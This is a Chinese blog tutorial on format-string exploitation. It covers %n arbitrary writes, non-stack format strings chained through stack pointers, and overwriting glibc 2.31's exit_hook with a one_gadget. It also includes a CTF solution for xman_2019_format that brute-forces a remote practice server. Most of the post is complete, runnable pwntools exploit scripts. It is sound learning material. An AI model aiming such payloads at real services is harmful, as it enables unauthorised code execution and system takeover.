格式化字符串任意地址写与非栈上格式化字符串
栈上格式化字符串实现任意地址写
本文主要基于师傅_sky123_的文章。把一些地方自己的理解写了下,学知识还是看师傅的原文章吧。写的初衷是之前遇到的格式化字符串基本就是用来泄露数据,然后最近发现还是有必要学习下利用格式化字符串写的方法。
原文链接https://blog.csdn.net/qq_45323960/article/details/122785431?spm=1001.2014.3001.5501
%k$n
这个参数的作用是printf将已经成功输出的字符数(一个整数)写入到指定的地址。这里指定的地址指的是%k$处存储的数值(这个值需要是可写的,不然程序会崩溃)。
03:0018│+018 0x7ffd69d392b8 —▸ 0x7ffd69d393c8 —▸ 0x7ffd69d3b673 ◂— '/home/.../aa'
#也就是向地址0x7ffd69d393c8处写入内容,也就是覆盖0x7ffd69d3b673为我们写入的数据
因为是写入整数所以只会写入低4字节。当printf输出的字符数和参数分布控制的足够好时,能够实现向任意地址写入我们想要的值。
ni后该地址存储的内容被修改(只有低4字节被修改)。
pwntools提供的工具fmtstr_payload
fmtstr_payload(offset,{address:data},numbwritten=0,write_size='byte')
offset:格式化字符串的偏移,也就是前面的%n$p的n值
numbwritten:表示已经成功输出的字符数
write_size:写入方式。默认是按字节写入。
一字节 (byte) ----hhn
两字节(short)---hn
四字节(int)---n
使用
exit_hook
常说的exit_hook其实就是下面这两处。具体不是很清楚什么情况固定利用哪个exit_hook,一个不能用就换另一个(我是这样写的,或者有更好的方法🤔)。
#include<stdio.h>
#include<string.h>
#include <unistd.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
char buf[0x100] = {};
while (1) {
puts("please input:");
read(0, buf, 0x300);
if (strcmp(buf, "exit") == 0) {
break;
}
printf(buf);
}
return 0;
}
gcc t.c -o bb -g
先放exp
from pwn import *
elf = ELF("./bb")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h'] # 在 tmux 中水平分割窗口
p = process("./bb")
gdb.attach(p,"b *$rebase (5043)\nc")
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim,data)
#libc base
#ld base
ru(b"input:\n")
s(b"%41$p%5$p")
libc.address = int(r(14),16)-0x24083 #使用one_gadget
info("libc base:"+hex(libc.address))
ld_base = int(r(14),16)-0x11d60 #使用exit_hook,这是在glibc2.31的情况下exit_hook在ld上
info("ld base:"+hex(ld_base))
onegadget = libc.address+[0xe3afe,0xe3b01,0xe3b04][0]
info("onegadget:"+hex(onegadget))
exit_hook = ld_base +0x2ef68
#exit_hook = ld_base +0x2ef6b
info("exit hook:"+hex(exit_hook))
ru(b"input:\n")
s(fmtstr_payload(6,{exit_hook:onegadget})) # 将exit_hook修改为one_gadget
ru(b"input:\n")
s(b"exit\x00\x00") #\x00将缓冲区原来有的内容覆盖,以实现退出
p.interactive()

-
程序正常退出时会调用
exit. -
确定
exit_hook的偏移.

-
查找
one_gadget

- 执行完格式化字符串的任意地址写后
exit_hook被修改为one_gadget的地址

2.非栈上的格式化字符串

原理:
这个地方可以看看师傅_sky123_写的ebp2跳理解方法,我没大看懂师傅说的原理,就这样理解的。
非栈上格式化字符串与栈上格式化字符串显著区别是,非栈上格式化字符串不能向上面直接控制栈上的数据,从而实现任意地址写。
但是由于%k$n是向指定地址处写值,如果写入处的地址恰好是栈地址,写入的内容也是栈地址,那么必然在栈上存在我们写入处的地址,此时由于我们在该地址上写入了我们想要控制的栈地址,就能够通过再次利用%k$n实现栈上值的修改。
这里将演示的是写入的内容处原本就是栈地址,只用修改内容的低2字节。一般栈上都能够找到满足这样条件的数据(如图一)。如果是只有写入地址是栈地址,而内容原来不是栈地址(如图二),就需要覆盖8字节将内容修改为栈地址。printf的输出其实是有限制的这样的写入方式可能不会成功。
图一:

图二:

注意**%kc中k=0**的情况,这时候printf("%0c")会输出一个字符。所以脚本中要对值进行判断。
大概知识就是这些,然后直接演示下过程吧。
利用:
示例程序:这里与之前不同处就是将buf改为全局变量
#include<stdio.h>
#include<string.h>
#include <unistd.h>
char buf[0x100]={};
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
while (1) {
puts("please input:");
read(0, buf, 0x300);
if (strcmp(buf, "exit") == 0) {
break;
}
printf(buf);
}
return 0;
}
#环境ubuntu20.04
#gcc test.c -o aa -g
调试程序运行到printf处,发现printf执行前栈顶的值并不是我们传入的参数,由此得出,这是非栈上的格式化字符串。所以我们不能直接修改栈上的数据,所以就只有另辟蹊径(上面提到的找栈内容里面还是栈地址套栈地址的)。

可以看到明显参数%9$hn处就是我们想找的。可以想到利用%9$hn将地址0x7ffcc8690865修改为我们的栈顶(修改成哪个栈地址都行,我这里就直接选在栈顶了,调试的时候方便看)。修改后再看栈情况

发现在%37$hn处就可以实现控制栈顶的内容。
def offset_write(offset,value):
ru(b"input:\n")
payload1_str = "%{}c%9$hn".format((stack_address+offset)&0xFFFF)
payload1=payload1_str.encode()
s(payload1)
ru(b"input:\n")
if value & 0xFFFF==0:
payload2_str = "%37$hn"
else:
payload2_str = "%{}c%37$hn".format(value & 0xFFFF)
payload2 = payload2_str.encode()
s(payload2)
控制栈顶为想要的数据(这里选exit_hook,因为Ubuntu20.04的glibc版本是2.31,exit_hook还没有被删除),然后再利用%n将exit_hook的内容修改为onegadget的地址,正常退出程序就能够拿到shell。
def func_change(address,target):
offset_write(0,address >> 16*0&0xFFFF)
offset_write(2,address >> 16*1&0xFFFF)
offset_write(4,address >> 16*2&0xFFFF)
offset_write(6,address >> 16*3&0xFFFF)
#将8字节覆盖完全,避免垃圾数据残留
ru(b"input:\n")
payload3_str = "%{}c%n".format(target & 0xFFFFFFFF) #%n根据具体的你修改的栈内容改动
payload3 = payload3_str.encode()
s(payload3)
完整exp
from pwn import *
elf = ELF("./aa")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h'] # 在 tmux 中水平分割窗口
p = process("./aa")
gdb.attach(p,"b *$rebase (4670)\nc")
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim,data)
def offset_write(offset,value):
ru(b"input:\n")
payload1_str = "%{}c%9$hn".format((stack_address+offset)&0xFFFF)
payload1=payload1_str.encode()
s(payload1)
ru(b"input:\n")
if value & 0xFFFF==0:
payload2_str = "%37$hn"
else:
payload2_str = "%{}c%37$hn".format(value & 0xFFFF)
payload2 = payload2_str.encode()
s(payload2)
def func_change(address,target):
offset_write(0,address >> 16*0&0xFFFF)
offset_write(2,address >> 16*1&0xFFFF)
offset_write(4,address >> 16*2&0xFFFF)
offset_write(6,address >> 16*3&0xFFFF)
ru(b"input:\n")
payload3_str = "%{}c%n".format(target & 0xFFFFFFFF)
payload3 = payload3_str.encode()
s(payload3)
#libc base
#ld base
#stack
ru(b"input:\n")
s(b"%7$p%5$p%9$p")
libc.address = int(r(14),16)-0x24083 #使用one_gadget
info("libc base:"+hex(libc.address))
ld_base = int(r(14),16)-0x11d60 #使用exit_hook
info("ld base:"+hex(ld_base))
stack_address = int(r(14),16)-0xf8 #rsp
info("stack address:"+hex(stack_address))
onegadget = libc.address+[0xe3afe,0xe3b01,0xe3b04][0]
info("onegadget:"+hex(onegadget))
exit_hook = ld_base +0x2ef68
info("exit hook:"+hex(exit_hook))
func_change(exit_hook,onegadget)
ru(b"input:\n")
s(b"exit\x00\x00") #\x00将缓冲区原来有的内容覆盖,以实现退出
p.interactive()
总体说利用格式化字符串写最重要的就是1.向哪个地址写入,会引起哪个值的改变。2.想写入什么值。
xman_2019_format
- 拖进ida中分析,发现格式化字符串不在栈上。然后只能输入一次,就不能像其他题目一样实现先泄露地址再进行写入。


2.查保护,发现pie保护没开,然后就是partial RELRO.在本地调试的时候可以先把ASLR保护关闭,调通后再用脚本进行爆破(总有一种情况和你本地关了ASLR的栈地址相同)。
- 结合非栈上格式化字符串的利用方法,这个程序没有
exit_hook,而且也没有给libc版本。再看看ida发现有个backdoor

拿权限的地址有了,还有就是控制哪里的值为backdoor,这里就想到函数的返回地址,因为这个程序里面调用了很多个函数,所以返回地址有挺多个(随便用个返回地址就行)。

- 栈上也有连续的栈数据,思路就出来了。改
0x0a处栈地址为返回地址的栈地址。这里以0x8048697为例,payload_str = "%{}c%10$hhn|%{}c%18$hn|".format(0xbc,0x85ab)这样就能够实现利用。
from pwn import *
elf = ELF("./xman_2019_format")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h'] # 在 tmux 中水平分割窗口
#gdb.attach(p,"b *0x080485F6\nb *0x08048606\nc")
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim,data)
back_door = 0x080485AB
#node5.buuoj.cn:28789
while True:
#p = process([elf.path])
p=remote("node5.buuoj.cn","28789")
try:
#payload_str = "%{}c%10$hn|%{}c%18$hn|".format(0xd2fc,0x85ab)
payload_str = "%{}c%10$hhn|%{}c%18$hn|".format(0x1c,0x85ab)
payload=payload_str.encode()
sla(b"...",payload)
s(b'ls')
p.recvline_contains('py', timeout=1)
p.interactive()
except KeyboardInterrupt:
p.close()
exit(0)
except:
p.close()
感谢_sky123_师傅写的文章✪ ω ✪
更多推荐



所有评论(0)